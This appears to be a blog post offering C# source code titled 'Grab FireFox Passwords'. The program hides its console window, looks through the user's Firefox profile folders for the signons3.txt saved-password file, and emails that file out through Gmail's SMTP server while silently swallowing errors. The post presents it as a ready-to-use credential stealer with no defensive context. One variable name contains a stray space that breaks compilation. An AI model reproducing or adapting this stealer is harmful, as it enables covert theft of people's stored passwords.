Kartikey Sapra
Title: Grab FireFox Passwords.

Language: C#
------------------------------------------------------------------------------------------------------------


using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Mail;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

namespace ConsoleApplication1
{
class Program
{

[DllImport("kernel32.dll")]
public static extern bool FreeConsole();
static void Main(string[] args)
{
FreeConsole();
try
{
bool FoundFile = false;
string Username = "EMAIL";
string Password = "PASS";
string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
string[] Dirs = Directory.GetDirectories(DefaultPath);

foreach (string dir in Dirs)
{
if (!FoundFile)
{
string[] Files = Directory.GetFiles(dir);

foreach (string CurrFile in Files)
{
if (!FoundFile)
{
if (System.Text.RegularExpressions.Regex.IsMatch(Curr File, "signons3.txt"))
{
SmtpClient Client = new SmtpClient("smtp.gmail.com", 587);
Client.EnableSsl = true;
NetworkCredential Creds = new NetworkCredential(Username, Password);
Client.Credentials = Creds;
MailMessage msg = new MailMessage();
msg.To.Add(new MailAddress(Username));
msg.From = new MailAddress(Username);
msg.Attachments.Add(new Attachment(CurrFile));
msg.Subject = "My Firefox Passwords";
Client.Send(msg);
FoundFile = true;
}
}

else
{
break;
}
}
}
else
{
break;
}
}
}
catch
{

}
}
}
}
Labels:
0 Responses

Post a Comment